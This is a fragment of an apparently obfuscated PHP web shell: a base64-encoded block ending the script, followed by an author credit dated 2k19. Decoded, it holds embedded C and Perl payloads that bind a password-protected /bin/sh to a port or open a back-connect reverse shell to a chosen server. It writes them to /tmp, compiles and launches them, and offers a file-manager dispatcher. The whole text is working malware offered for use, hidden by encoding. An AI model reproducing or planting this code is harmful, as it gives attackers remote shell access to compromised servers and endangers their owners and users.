hSdmJtd29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xzWlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWdaSFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNESW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQVDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWwwc2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCWVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz4NCgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPg0KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiBQYXNzd29yZDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnPiBVc2luZzogPGxhYmVsPjxzZWxlY3QgbmFtZT0ndXNpbmcnPjxvcHRpb24gdmFsdWU9J2JwYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JwcCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsnPg0KCTxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj48YnIvPg0KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9Ii4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiI+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiBVc2luZzogPGxhYmVsPjxzZWxlY3QgbmFtZT0ndXNpbmcnPjxvcHRpb24gdmFsdWU9J2JjYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjcCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz4NCgk8L2Zvcm0+PGJyPiI7DQoJaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgew0KCQlmdW5jdGlvbiBjZigkZiwkdCkgew0KCQkJJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KQl7DQoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOw0KCQkJCUBmY2xvc2UoJHcpOw0KCQkJfQ0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgew0KCQkJY2YoIi90bXAvYnAuYyIsJGJpbmRfcG9ydF9jKTsNCgkJCSTilpYgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7DQoJCQlAdW5saW5rKCIvdG1wL2JwLmMiKTsNCgkJCSTilpYgLj0gZXgoIi90bXAvYnAgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsNCgkJCSTilpYgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdiY2MnKSB7DQoJCQljZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOw0KCQkJJOKWliA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsNCgkJCUB1bmxpbmsoIi90bXAvYmMuYyIpOw0KCQkJJOKWliAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOw0KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYmMiKS4iPC9wcmU+IjsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KCQkJJOKWliA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOw0KCQl9DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJaGFyZEZvb3RlcigpOw0KfQ0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJOKWmikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJOKWmikpDQoJCSRfUE9TVFsnYSddID0gJOKWmjsNCgllbHNlDQoJCSRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApDQoJY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7")); ?>
Copyright ©2k19 -
Hexid
|
Tex7ure